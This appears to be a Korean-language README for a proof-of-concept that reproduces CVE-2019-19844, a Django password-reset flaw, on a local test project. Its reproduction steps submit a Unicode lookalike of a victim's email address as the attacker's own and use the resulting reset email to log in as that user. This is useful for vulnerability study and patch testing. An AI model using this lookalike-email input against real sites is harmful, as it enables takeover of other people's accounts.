django_cve_2019_19844_poc

CVE-2019-19844에 대한 PoC

요구 사항

• Python 3.7.x
• PostgreSQL 9.5 이상

설정

1. 데이터베이스를 생성합니다(예: django_cve_2019_19844_poc)
2. 환경 변수 DJANGO_DATABASE_NAME에 데이터베이스 이름을 설정합니다(예: export DJANGO_DATABASE_NAME=django_cve_2019_19844_poc)
3. pip install -r requirements.txt && ./manage.py migrate --noinput를 실행합니다
4. shell 명령으로 다음 사용자를 생성합니다:

>>> from django.contrib.auth import get_user_model
>>> User = get_user_model()
>>> User.objects.create_user('mike123', '[email protected]', 'test123')

재현 절차

1. ./manage.py runserver를 실행합니다
2. http://127.0.0.1:8000/accounts/password-reset/를 엽니다
3. mı[email protected](공격자의 이메일)를 입력하고 전송 버튼을 클릭합니다
4. 이메일을 수신하고(콘솔 확인) 비밀번호를 재설정합니다
5. mike123 사용자로 로그인합니다